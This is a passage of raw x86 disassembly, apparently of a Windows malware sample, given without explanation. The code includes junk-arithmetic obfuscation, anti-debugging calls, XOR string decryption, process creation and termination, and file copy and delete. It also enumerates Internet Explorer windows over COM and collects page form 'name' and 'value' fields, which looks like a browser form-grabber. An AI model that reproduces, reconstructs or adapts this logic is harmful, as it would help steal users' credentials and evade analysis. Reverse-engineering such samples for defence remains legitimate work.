var_3B1 = byte ptr -3B1h
var_3B0 = dword ptr -3B0h
var_3AB = byte ptr -3ABh
var_2A7 = byte ptr -2A7h
var_2A2 = byte ptr -2A2h
var_29F = byte ptr -29Fh
var_29D = byte ptr -29Dh
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = byte ptr -294h
var_290 = byte ptr -290h
var_28D = byte ptr -28Dh
var_285 = byte ptr -285h
var_280 = dword ptr -280h
var_27C = dword ptr -27Ch
var_278 = dword ptr -278h
var_274 = dword ptr -274h
var_270 = word ptr -270h
var_26E = word ptr -26Eh
var_26C = word ptr -26Ch
var_269 = byte ptr -269h
var_268 = dword ptr -268h
var_264 = word ptr -264h
var_261 = byte ptr -261h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_250 = byte ptr -250h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_11C = dword ptr -11Ch
var_118 = word ptr -118h
var_104 = byte ptr -104h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 3B8h
push ebx
push esi
push edi
mov [ebp+var_261], 59h
add [ebp+var_261], 14h
and [ebp+var_14C], 0
mov [ebp+var_264], 798Fh
sub [ebp+var_264], 30E0h
xor ebx, ebx
lea edi, [ebp+var_285]
lea esi, aJv_ ; "&JV_"
mov ecx, 5
rep movsb
push offset dword_4412C0
call sub_40C610 ; InterlockedIncrement
mov [ebp+var_274], eax
lea edi, [ebp+var_28D]
lea esi, byte_441327
movsd
movsd
push 10h
push 0
lea eax, [ebp+var_260]
push eax
call sub_40CA00
lea edi, [ebp+var_290]
lea esi, byte_44132F
mov ecx, 3
rep movsb
mov [ebp+var_278], 104h
push 21h
push offset byte_4460AF
call sub_405254
mov [ebp+var_298], eax
push 4
push offset aMxd ; "|MXD"
call sub_405254
lea edi, [ebp+var_294]
push edi
lea edi, [ebp+var_278]
push edi
lea edi, [ebp+var_250]
push edi
push eax
mov edi, [ebp+var_298]
push edi
push 80000002h
call sub_4014BD
add esp, 34h
mov [ebp+var_27C], eax
mov [ebp+var_268], 1431h
sub [ebp+var_268], 2BF6h
or eax, eax
jnz short loc_4063F9
mov [ebp+var_29C], 2D07h
inc [ebp+var_29C]
push [ebp+arg_0]
call sub_40C658 ; LocalFree
lea edi, [ebp+var_2A2]
lea esi, word_441332
mov ecx, 3
rep movsw
xor eax, eax
jmp loc_40689D
; ---------------------------------------------------------------------------
loc_4063F9: ; CODE XREF: sub_4062CD+F7j
call sub_405F79
mov [ebp+var_269], 2
add [ebp+var_269], 0BCh
push 104h
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_250]
push eax
call sub_40C4F0 ; ExpandEnvironmentStringsA
push [ebp+var_274]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
lea eax, [ebp+var_250]
push eax
call sub_405601
add esp, 20h
mov [ebp+var_14C], eax
cmp [ebp+arg_1C], 0
jz short loc_40646F
cmp eax, 0FFFFFFFFh
jz short loc_406469
mov eax, [ebp+arg_1C]
mov edx, [ebp+var_14C]
mov [eax], edx
jmp short loc_40646F
; ---------------------------------------------------------------------------
loc_406469: ; CODE XREF: sub_4062CD+18Dj
mov eax, [ebp+arg_1C]
and dword ptr [eax], 0
loc_40646F: ; CODE XREF: sub_4062CD+188j
; sub_4062CD+19Aj
cmp [ebp+var_14C], 0
jnz short loc_4064B7
lea edi, [ebp+var_29D]
lea esi, byte_441338
mov ecx, 3
rep movsb
push [ebp+arg_0]
call sub_40C658 ; LocalFree
mov word ptr [ebp+var_29C+2], 3601h
movzx eax, word ptr [ebp+var_29C+2]
mov edx, eax
add edx, eax
mov eax, edx
mov word ptr [ebp+var_29C+2], ax
xor eax, eax
jmp loc_40689D
; ---------------------------------------------------------------------------
loc_4064B7: ; CODE XREF: sub_4062CD+1A9j
push 0Eh
push offset byte_44609B
call sub_405254
push eax
lea edi, [ebp+var_104]
push edi
call sub_40CA54
lea eax, [ebp+var_250]
push eax
lea eax, [ebp+var_104]
push eax
call sub_40CA54
call sub_40C538 ; RtlGetLastWin32Error
call sub_404527
mov [ebp+var_280], eax
call sub_40C538 ; RtlGetLastWin32Error
push 44h
push 0
lea eax, [ebp+var_148]
push eax
call sub_40CA00
mov [ebp+var_26C], 597Ch
movzx eax, [ebp+var_26C]
imul eax, 641Bh
mov [ebp+var_26C], ax
push 44h
push 0
lea eax, [ebp+var_148]
push eax
call sub_40CA00
add esp, 30h
call sub_40C508 ; GetCurrentProcessId
mov [ebp+var_148], 44h
call sub_40C634 ; IsDebuggerPresent
mov [ebp+var_11C], 1
mov [ebp+var_118], 1
cmp [ebp+var_280], 0
jz short loc_406577
lea eax, [ebp+var_148]
push eax
call sub_4045B7
pop ecx
jmp short loc_406580
; ---------------------------------------------------------------------------
loc_406577: ; CODE XREF: sub_4062CD+299j
mov [ebp+var_118], 0
loc_406580: ; CODE XREF: sub_4062CD+2A8j
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_148]
push eax
push 0
push 0
push 20h
push 0
push 0
push 0
lea eax, [ebp+var_104]
push eax
push 0
call sub_40C70C ; CreateProcessA
or eax, eax
jz loc_406823
call sub_40C634 ; IsDebuggerPresent
push [ebp+var_25C]
call sub_40C55C ; CloseHandle
push 22h
push offset dword_446078
call sub_405254
push [ebp+var_274]
push offset aMicrosoftCorp ; "MicroSoft-Corp"
push eax
lea edi, [ebp+var_104]
push edi
call sub_40CA30
add esp, 18h
call sub_40C538 ; RtlGetLastWin32Error
mov byte ptr [ebp+var_29C+3], 0
jmp short loc_406651
; ---------------------------------------------------------------------------
loc_4065F5: ; CODE XREF: sub_4062CD+38Cj
lea edi, [ebp+var_29F]
lea esi, aCayc_ ; "CYc_"
mov ecx, 3
rep movsw
push 7
push offset aEijMai ; "eij^MAI"
call sub_405254
add esp, 8
lea edi, [ebp+var_104]
push edi
push eax
call sub_40C784 ; FindWindowA
mov ebx, eax
call sub_40C538 ; RtlGetLastWin32Error
or ebx, ebx
jnz short loc_40665B
call sub_40C508 ; GetCurrentProcessId
mov eax, dword_4412B4
add eax, 3E0h
push eax
call sub_40C6D0 ; Sleep
call sub_40C5A4 ; GetVersion
add byte ptr [ebp+var_29C+3], 1
loc_406651: ; CODE XREF: sub_4062CD+326j
mov al, byte ptr [ebp+var_29C+3]
cmp al, 0Ah
jb short loc_4065F5
loc_40665B: ; CODE XREF: sub_4062CD+361j
or ebx, ebx
jz loc_40680C
mov word ptr [ebp+var_29C], 7B09h
sub word ptr [ebp+var_29C], 714Fh
push 0F000h
call sub_40C6D0 ; Sleep
mov [ebp+var_29D], 5Bh
add [ebp+var_29D], 5Ah
push 104h
lea eax, [ebp+var_104]
push eax
push ebx
call sub_40C76C ; GetWindowTextA
mov eax, 0Fh
sub eax, dword_4412B8
push eax
push offset aXOkrecv11 ; "X-okRecv11"
lea eax, [ebp+var_104]
push eax
call sub_401806
add esp, 0Ch
cmp eax, 0FFFFh
jz loc_4067FE
call sub_40C514 ; GetCurrentThreadId
lea edi, [ebp+var_2A7]
lea esi, aIk ; "Ik"
mov ecx, 3
rep movsb
mov dword ptr [ebp-2A4h], 4145h
mov eax, 6B7Ch
mul dword ptr [ebp-2A4h]
mov [ebp+var_3B0], eax
mov [ebp-2A4h], eax
lea eax, [ebp+var_3AB]
push eax
push [ebp+arg_4]
call sub_4053A1
add esp, 8
or eax, eax
jz loc_4067ED
call sub_40C598 ; GetTickCount
push 0
push [ebp+arg_8]
lea eax, [ebp+var_3AB]
push eax
call sub_40C604 ; CopyFileA
lea eax, [ebp+var_14C]
push eax
push [ebp+arg_8]
call sub_401A36
mov [ebp+var_3B8], eax
call sub_40C634 ; IsDebuggerPresent
push [ebp+arg_8]
call sub_40C760 ; DeleteFileA
mov [ebp+var_3B1], 31h
movzx eax, [ebp+var_3B1]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_3B1], al
push offset aHtml ; "<HTML><!--"
call sub_40C73C ; lstrlen
push eax
push offset aHtml ; "<HTML><!--"
push [ebp+var_3B8]
call sub_40CA6C
add esp, 14h
or eax, eax
jnz short loc_4067BB
push offset aHtml ; "<HTML><!--"
call sub_40C73C ; lstrlen
mov edi, [ebp+var_14C]
sub edi, 3Ah
push edi
mov edi, eax
add edi, [ebp+var_3B8]
push edi
push [ebp+arg_8]
call sub_4052EF
add esp, 0Ch
jmp short loc_4067D6
; ---------------------------------------------------------------------------
loc_4067BB: ; CODE XREF: sub_4062CD+4C2j
mov eax, [ebp+var_14C]
sub eax, 40h
push eax
push [ebp+var_3B8]
push [ebp+arg_8]
call sub_4052EF
add esp, 0Ch
loc_4067D6: ; CODE XREF: sub_4062CD+4ECj
push [ebp+var_3B8]
call sub_40C658 ; LocalFree
mov [ebp+var_14C], 2
jmp short loc_406844
; ---------------------------------------------------------------------------
loc_4067ED: ; CODE XREF: sub_4062CD+44Aj
call sub_40C634 ; IsDebuggerPresent
mov [ebp+var_14C], 1
jmp short loc_406844
; ---------------------------------------------------------------------------
loc_4067FE: ; CODE XREF: sub_4062CD+3F7j
call sub_40C5A4 ; GetVersion
and [ebp+var_14C], 0
jmp short loc_406844
; ---------------------------------------------------------------------------
loc_40680C: ; CODE XREF: sub_4062CD+390j
mov byte ptr [ebp+var_29C+2], 95h
sub byte ptr [ebp+var_29C+2], 0Bh
and [ebp+var_14C], 0
jmp short loc_406844
; ---------------------------------------------------------------------------
loc_406823: ; CODE XREF: sub_4062CD+2DDj
mov byte ptr [ebp+var_29C+3], 1Dh
movzx eax, byte ptr [ebp+var_29C+3]
mov edx, eax
add edx, eax
mov eax, edx
mov byte ptr [ebp+var_29C+3], al
and [ebp+var_14C], 0
loc_406844: ; CODE XREF: sub_4062CD+51Ej
; sub_4062CD+52Fj ...
lea eax, [ebp+var_250]
push eax
call sub_40C760 ; DeleteFileA
call sub_40C634 ; IsDebuggerPresent
push [ebp+arg_0]
call sub_40C658 ; LocalFree
mov [ebp+var_26E], 769Dh
inc [ebp+var_26E]
push 0
push [ebp+var_260]
call sub_40C6DC ; TerminateProcess
mov [ebp+var_270], 6036h
sub [ebp+var_270], 528Eh
push [ebp+var_260]
call sub_40C55C ; CloseHandle
mov eax, [ebp+var_14C]
loc_40689D: ; CODE XREF: sub_4062CD+127j
; sub_4062CD+1E5j
pop edi
pop esi
pop ebx
leave
retn
sub_4062CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4068A2 proc near ; CODE XREF: sub_406A9A+CBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, [ebp+arg_4]
mov [ebp+var_4], 315h
push esi
push [ebp+arg_0]
mov eax, dword_44134C
lea eax, ds:41B8A0h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
xor edi, edi
jmp short loc_4068E9
; ---------------------------------------------------------------------------
loc_4068CF: ; CODE XREF: sub_4068A2+49j
mov eax, dword_44134C
add eax, edi
lea eax, ds:41B8A0h[eax]
movsx edx, byte ptr [eax]
xor edx, 0CAh
mov [eax], dl
inc edi
loc_4068E9: ; CODE XREF: sub_4068A2+2Bj
cmp edi, esi
jl short loc_4068CF
mov eax, dword_44134C
add eax, esi
mov byte ptr ds:dword_41B8A0[eax], 0
mov edi, dword_44134C
inc dword_44134C
mov eax, dword_44134C
lea eax, [eax+esi+1]
mov dword_44134C, eax
cmp eax, 0DD3h
jle short loc_406924
and dword_44134C, 0
loc_406924: ; CODE XREF: sub_4068A2+79j
lea eax, dword_41B8A0[edi]
pop edi
pop esi
leave
retn
sub_4068A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40692E proc near ; CODE XREF: sub_406E2B+1A4p
; sub_406E2B+555p ...
var_C = dword ptr -0Ch
var_5 = dword ptr -5
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov [ebp+var_1], 0A8h
add [ebp+var_1], 0B3h
push [ebp+arg_0]
call sub_40C748 ; lstrlenW
mov edi, eax
mov eax, dword_44135C
mov [ebp+var_5], eax
push 0
push 0
push 1FFFh
push ebx
push edi
push [ebp+arg_0]
push 0
push 0
call sub_40C718 ; WideCharToMultiByte
mov esi, 6089h
mov eax, 2984h
mul esi
mov [ebp+var_C], eax
mov esi, eax
mov byte ptr [ebx+edi], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_40692E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406987 proc near ; CODE XREF: sub_4069E2+ABp
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov [ebp+var_2], 40BBh
inc [ebp+var_2]
cmp dword_441354, 0
jz short loc_4069AF
mov eax, dword_441354
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_4069AF: ; CODE XREF: sub_406987+1Bj
mov edi, 2480h
sub edi, 4C20h
mov eax, [esi+4]
push dword ptr [esi+4]
mov ebx, [eax]
call dword ptr [ebx+8]
call sub_40C514 ; GetCurrentThreadId
mov eax, [esi]
push dword ptr [esi]
mov ebx, [eax]
call dword ptr [ebx+8]
call sub_40BA54
call sub_40C508 ; GetCurrentProcessId
pop edi
pop esi
pop ebx
leave
retn
sub_406987 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4069E2 proc near ; CODE XREF: sub_406E2B+57p
var_11 = byte ptr -11h
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
call sub_40C634 ; IsDebuggerPresent
mov [ebp+var_1], 0C1h
sub [ebp+var_1], 0FBh
and dword ptr [edi], 0
and dword ptr [edi+4], 0
push 0
call sub_40BA48
call sub_40C538 ; RtlGetLastWin32Error
lea eax, [ebp+var_11]
push eax
push offset a9ba05972F6a811 ; "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"
call sub_40BA3C
mov esi, eax
call sub_40C574 ; GetProcessHeap
xor ebx, ebx
cmp esi, ebx
setl bl
or ebx, ebx
jnz short loc_406A8C
call sub_40C5A4 ; GetVersion
push edi
push offset dword_446BF4
push 4
push 0
lea eax, [ebp+var_11]
push eax
call sub_40BA30
mov esi, eax
xor ebx, ebx
cmp esi, ebx
setl bl
or ebx, ebx
jnz short loc_406A8C
call sub_40C5A4 ; GetVersion
mov eax, edi
add eax, 4
push eax
push offset dword_446BE4
mov eax, [edi]
push dword ptr [edi]
mov ebx, [eax]
call dword ptr ds:0[ebx]
mov esi, eax
call sub_40C514 ; GetCurrentThreadId
xor ebx, ebx
cmp esi, ebx
setl bl
or ebx, ebx
jnz short loc_406A8C
call sub_40C514 ; GetCurrentThreadId
xor eax, eax
inc eax
jmp short loc_406A95
; ---------------------------------------------------------------------------
loc_406A8C: ; CODE XREF: sub_4069E2+4Aj
; sub_4069E2+6Fj ...
push edi
call sub_406987
pop ecx
xor eax, eax
loc_406A95: ; CODE XREF: sub_4069E2+A8j
pop edi
pop esi
pop ebx
leave
retn
sub_4069E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406A9A proc near ; CODE XREF: sub_406E2B+ACp
var_10054 = dword ptr -10054h
var_10050 = dword ptr -10050h
var_1004C = dword ptr -1004Ch
var_10047 = byte ptr -10047h
var_1003F = byte ptr -1003Fh
var_10039 = byte ptr -10039h
var_10032 = byte ptr -10032h
var_10031 = byte ptr -10031h
var_1002C = dword ptr -1002Ch
var_10028 = byte ptr -10028h
var_29 = byte ptr -29h
var_28 = word ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_8 = word ptr -8
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 10054h
call sub_40C498
push ebx
push esi
push edi
call sub_40C574 ; GetProcessHeap
cmp dword_441358, 0FFFFh
jz short loc_406AC2
and dword_441350, 0
loc_406AC2: ; CODE XREF: sub_406A9A+1Fj
mov [ebp+var_5], 0EDh
movzx eax, [ebp+var_5]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_5], al
mov eax, dword_441350
cmp [ebp+arg_4], eax
jz loc_406D83
lea edi, [ebp+var_10031]
lea esi, a40? ; ":40?"
mov ecx, 5
rep movsb
mov eax, [ebp+arg_4]
mov dword_441350, eax
cmp dword_441354, 0
jz short loc_406B36
call sub_40C574 ; GetProcessHeap
mov eax, dword_441354
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov [ebp+var_1004C], 90Dh
mov eax, [ebp+var_1004C]
mov edx, eax
add edx, eax
mov [ebp+var_1004C], edx
and dword_441354, 0
loc_406B36: ; CODE XREF: sub_406A9A+69j
push 0FFFFh
lea eax, [ebp+var_10028]
push eax
push [ebp+arg_4]
call sub_40C76C ; GetWindowTextA
mov [ebp+var_8], 77DCh
movzx eax, [ebp+var_8]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_8], ax
push 1Bh
push offset aZgiEEmGdPDpPJe ; "£©ø„¹„¬¾ź¤¾Æø¤Æ¾ź²ŗ¦„øÆø"
call sub_4068A2
mov edi, 0Dh
sub edi, dword_441348
push edi
push eax
lea edi, [ebp+var_10028]
push edi
call sub_401806
add esp, 14h
cmp eax, 0FFFFh
jnz short loc_406BD3
mov word ptr [ebp+var_1004C], 18AFh
movzx eax, word ptr [ebp+var_1004C]
imul eax, 1C81h
mov word ptr [ebp+var_1004C], ax
and dword_441354, 0
mov word ptr [ebp+var_1004C+2], 985h
movzx eax, word ptr [ebp+var_1004C+2]
mov edx, eax
add edx, eax
mov eax, edx
mov word ptr [ebp+var_1004C+2], ax
jmp loc_406D83
; ---------------------------------------------------------------------------
loc_406BD3: ; CODE XREF: sub_406A9A+F1j
lea eax, [ebp+var_C]
push eax
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push eax
mov edi, [eax]
call dword ptr [edi+1Ch]
mov ebx, eax
mov [ebp+var_D], 1Eh
add [ebp+var_D], 1
cmp [ebp+var_C], 0
jz loc_406D83
mov [ebp+var_14], 6CC8h
mov eax, 4A3Dh
mul [ebp+var_14]
mov [ebp+var_1004C], eax
mov [ebp+var_14], eax
or ebx, ebx
jnz loc_406D83
and [ebp+var_4], 0
cmp dword_441358, 0FFFFh
jz short loc_406C6D
call sub_40C538 ; RtlGetLastWin32Error
inc dword_441358
mov eax, [ebp+var_C]
cmp dword_441358, eax
jbe short loc_406C44
and dword_441358, 0
loc_406C44: ; CODE XREF: sub_406A9A+1A1j
mov [ebp+var_10050], 5B8Fh
mov eax, 1268h
mul [ebp+var_10050]
mov [ebp+var_10054], eax
mov [ebp+var_10050], eax
mov eax, dword_441358
mov [ebp+var_4], eax
loc_406C6D: ; CODE XREF: sub_406A9A+18Bj
; sub_406A9A+2DCj
push 0
call sub_40C9B8
pop ecx
call sub_40C634 ; IsDebuggerPresent
mov [ebp+var_28], 2
mov eax, [ebp+var_4]
mov [ebp+var_20], eax
mov dword_441358, eax
lea eax, [ebp+var_18]
push eax
lea esi, [ebp+var_28]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+arg_0]
mov edi, [edi+4]
push edi
mov edi, [edi]
call dword ptr [edi+20h]
mov ebx, eax
or ebx, ebx
jnz loc_406D4B
lea edi, [ebp+var_10032]
lea esi, byte_441365
xor ecx, ecx
inc ecx
rep movsb
push offset dword_441354
push offset dword_446C04
mov eax, [ebp+var_18]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
call sub_40C508 ; GetCurrentProcessId
or ebx, ebx
jnz short loc_406D4B
call sub_40C598 ; GetTickCount
lea eax, [ebp+var_1002C]
push eax
mov eax, dword_441354
push eax
mov edi, [eax]
call dword ptr [edi+94h]
mov ebx, eax
lea edi, [ebp+var_10039]
lea esi, aNDlyo ; "N DLYO"
mov ecx, 7
rep movsb
or ebx, ebx
jnz short loc_406D4B
mov [ebp+var_29], 28h
sub [ebp+var_29], 8Ch
mov dword_441358, 0FFFFh
mov eax, [ebp+arg_4]
cmp [ebp+var_1002C], eax
jz short loc_406D83
lea edi, [ebp+var_1003F]
lea esi, aT2vxo ; "T2vxO"
mov ecx, 3
rep movsw
loc_406D4B: ; CODE XREF: sub_406A9A+214j
; sub_406A9A+24Bj ...
cmp dword_441354, 0
jz short loc_406D5F
mov eax, dword_441354
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_406D5F: ; CODE XREF: sub_406A9A+2B8j
lea edi, [ebp+var_10047]
lea esi, aWWavg ; "W'WAV`"
movsd
movsd
inc [ebp+var_4]
mov eax, [ebp+var_C]
cmp [ebp+var_4], eax
jb loc_406C6D
and dword_441354, 0
loc_406D83: ; CODE XREF: sub_406A9A+41j
; sub_406A9A+134j ...
pop edi
pop esi
pop ebx
leave
retn
sub_406A9A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406D88 proc near ; CODE XREF: sub_406E2B+5E6p
; sub_406E2B+62Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov esi, [ebp+arg_4]
push esi
push [ebp+arg_0]
mov eax, dword_441384
lea eax, ds:430CF0h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
mov [ebp+var_4], 27Ah
xor edi, edi
jmp short loc_406DD0
; ---------------------------------------------------------------------------
loc_406DB6: ; CODE XREF: sub_406D88+4Aj
mov eax, dword_441384
add eax, edi
lea eax, ds:430CF0h[eax]
movsx edx, byte ptr [eax]
xor edx, 0EDh
mov [eax], dl
inc edi
loc_406DD0: ; CODE XREF: sub_406D88+2Cj
cmp edi, esi
jl short loc_406DB6
mov [ebp+var_8], 200h
mov eax, dword_441384
add eax, esi
mov byte ptr ds:dword_430CF0[eax], 0
xor edi, edi
mov edi, dword_441384
inc dword_441384
mov eax, dword_441384
add eax, 6
add eax, esi
mov dword_441384, eax
add dword_441384, 3
cmp dword_441384, 0E0Fh
jle short loc_406E21
and dword_441384, 0
loc_406E21: ; CODE XREF: sub_406D88+90j
lea eax, dword_430CF0[edi]
pop edi
pop esi
leave
retn
sub_406D88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406E2B proc near ; CODE XREF: sub_407F67+56p
var_63822 = byte ptr -63822h
var_6381C = dword ptr -6381Ch
var_63816 = byte ptr -63816h
var_62818 = dword ptr -62818h
var_62813 = byte ptr -62813h
var_6280E = byte ptr -6280Eh
var_6280D = byte ptr -6280Dh
var_6280C = dword ptr -6280Ch
var_62808 = word ptr -62808h
var_62800 = dword ptr -62800h
var_627F8 = word ptr -627F8h
var_627F0 = dword ptr -627F0h
var_627E8 = dword ptr -627E8h
var_627E4 = dword ptr -627E4h
var_627E0 = word ptr -627E0h
var_627DD = byte ptr -627DDh
var_627DA = byte ptr -627DAh
var_627D3 = byte ptr -627D3h
var_627CC = word ptr -627CCh
var_627CA = word ptr -627CAh
var_627C8 = dword ptr -627C8h
var_627C4 = byte ptr -627C4h
var_627C3 = byte ptr -627C3h
var_627C2 = word ptr -627C2h
var_627C0 = byte ptr -627C0h
var_627BF = byte ptr -627BFh
var_626C0 = dword ptr -626C0h
var_626BC = dword ptr -626BCh
var_626B8 = word ptr -626B8h
var_626B0 = dword ptr -626B0h
var_626A4 = dword ptr -626A4h
var_626A0 = dword ptr -626A0h
var_6269C = dword ptr -6269Ch
var_62698 = dword ptr -62698h
var_62694 = dword ptr -62694h
var_62690 = dword ptr -62690h
var_6268C = dword ptr -6268Ch
var_62687 = byte ptr -62687h
var_62682 = word ptr -62682h
var_6267F = byte ptr -6267Fh
var_526B8 = byte ptr -526B8h
var_526B0 = dword ptr -526B0h
var_526AA = byte ptr -526AAh
var_526A9 = byte ptr -526A9h
var_526A8 = byte ptr -526A8h
var_526A0 = dword ptr -526A0h
var_52696 = byte ptr -52696h
var_52690 = word ptr -52690h
var_52688 = dword ptr -52688h
var_52684 = dword ptr -52684h
var_52680 = dword ptr -52680h
var_5267A = byte ptr -5267Ah
var_52674 = byte ptr -52674h
var_5266F = byte ptr -5266Fh
var_52669 = byte ptr -52669h
var_52668 = byte ptr -52668h
var_52667 = byte ptr -52667h
var_52666 = byte ptr -52666h
var_52663 = word ptr -52663h
var_52661 = byte ptr -52661h
var_5265A = word ptr -5265Ah
var_52658 = dword ptr -52658h
var_52652 = word ptr -52652h
var_5264F = byte ptr -5264Fh
var_52649 = byte ptr -52649h
var_52644 = dword ptr -52644h
var_52640 = dword ptr -52640h
var_5263C = dword ptr -5263Ch
var_52638 = byte ptr -52638h
var_52630 = dword ptr -52630h
var_5262B = byte ptr -5262Bh
var_5262A = word ptr -5262Ah
var_52628 = dword ptr -52628h
var_52622 = word ptr -52622h
var_52620 = dword ptr -52620h
var_5261C = dword ptr -5261Ch
var_52618 = word ptr -52618h
var_52616 = word ptr -52616h
var_52614 = dword ptr -52614h
var_5260F = byte ptr -5260Fh
var_5260E = word ptr -5260Eh
var_5260C = dword ptr -5260Ch
var_52606 = word ptr -52606h
var_52604 = dword ptr -52604h
var_525FE = word ptr -525FEh
var_525FC = dword ptr -525FCh
var_525F8 = dword ptr -525F8h
var_525F4 = dword ptr -525F4h
var_525EE = word ptr -525EEh
var_525EC = dword ptr -525ECh
var_525E8 = dword ptr -525E8h
var_525E4 = dword ptr -525E4h
var_525DF = byte ptr -525DFh
var_524E0 = byte ptr -524E0h
var_524D8 = dword ptr -524D8h
var_524CC = dword ptr -524CCh
var_524C8 = byte ptr -524C8h
var_39E28 = byte ptr -39E28h
var_21788 = word ptr -21788h
var_21786 = word ptr -21786h
var_21784 = dword ptr -21784h
var_2177D = byte ptr -2177Dh
var_1177E = word ptr -1177Eh
var_1177C = word ptr -1177Ch
var_10FAC = dword ptr -10FACh
var_10FA8 = dword ptr -10FA8h
var_10FA4 = dword ptr -10FA4h
var_10001 = byte ptr -10001h
var_2 = word ptr -2
push ebp
mov ebp, esp
mov eax, 63824h
call sub_40C498
push ebx
push esi
push edi
call sub_40C5A4 ; GetVersion
push offset aValue ; "value"
call sub_40BA0C
mov [ebp+var_10FA8], eax
mov eax, dword_441394
mov [ebp+var_52644], eax
push offset aName ; "name"
call sub_40BA0C
mov [ebp+var_10FAC], eax
mov [ebp+var_52616], 569Bh
inc [ebp+var_52616]
lea eax, [ebp+var_52638]
push eax
call sub_4069E2
pop ecx
or eax, eax
jz loc_407F62
call sub_40C574 ; GetProcessHeap
loc_406E95: ; CODE XREF: sub_406E2B+CFj
; sub_406E2B+F4j ...
push 0
call sub_40C9B8
mov [ebp+var_52618], 0C8Fh
inc [ebp+var_52618]
call sub_40C7B4 ; GetForegroundWindow
mov [ebp+var_5261C], eax
lea edi, [ebp+var_52649]
lea esi, aOap ; "op*"
mov ecx, 5
rep movsb
push [ebp+var_5261C]
lea eax, [ebp+var_52638]
push eax
call sub_406A9A
add esp, 0Ch
lea edi, [ebp+var_5264F]
lea esi, aAcbls ; "AcBLs"
mov ecx, 3
rep movsw
cmp dword_441354, 0
jz short loc_406E95
mov ax, word_4413A3
mov [ebp+var_52652+1], ax
lea eax, [ebp+var_525F4]
push eax
mov eax, dword_441354
push eax
mov edi, [eax]
call dword ptr [edi+48h]
mov ebx, eax
or ebx, ebx
jnz loc_406E95
mov [ebp+var_52620], 6F23h
mov eax, 38F1h
mul [ebp+var_52620]
mov [ebp+var_52680], eax
mov [ebp+var_52620], eax
lea eax, [ebp+var_525F8]
push eax
push offset dword_446BA4
mov eax, [ebp+var_525F4]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov [ebp+var_525FC], 2AEFh
mov eax, [ebp+var_525FC]
mov edx, eax
add edx, eax
mov [ebp+var_525FC], edx
or ebx, ebx
jnz loc_407F44
lea eax, [ebp+var_5263C]
push eax
mov eax, dword_441354
push eax
mov edi, [eax]
call dword ptr [edi+78h]
mov ebx, eax
call sub_40C634 ; IsDebuggerPresent
or ebx, ebx
jnz loc_407F0E
mov [ebp+var_52622], 0A61h
movzx eax, [ebp+var_52622]
imul eax, 47C9h
mov [ebp+var_52622], ax
push offset byte_41EB90
push [ebp+var_5263C]
call sub_40692E
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_52658], edi
call sub_40C598 ; GetTickCount
mov eax, [ebp+var_5261C]
mov ds:dword_42EB94, eax
lea eax, [ebp+var_525FE]
push eax
mov eax, dword_441354
push eax
mov edi, [eax]
call dword ptr [edi+7Ch]
mov ebx, eax
or ebx, ebx
jnz loc_407F0E
cmp [ebp+var_525FE], 0
jz short loc_407028
mov ax, word_4413A5
mov [ebp+var_5265A], ax
jmp loc_407F0E
; ---------------------------------------------------------------------------
loc_407028: ; CODE XREF: sub_406E2B+1E9j
lea edi, [ebp+var_52661]
lea esi, aJXe? ; "J$xE+?"
mov ecx, 7
rep movsb
mov ax, word_4413AE
mov [ebp+var_52663], ax
lea edi, [ebp+var_52666]
lea esi, byte_4413B0
mov ecx, 3
rep movsb
mov [ebp+var_10001], 0
mov [ebp+var_2], 0
lea eax, [ebp+var_52604]
push eax
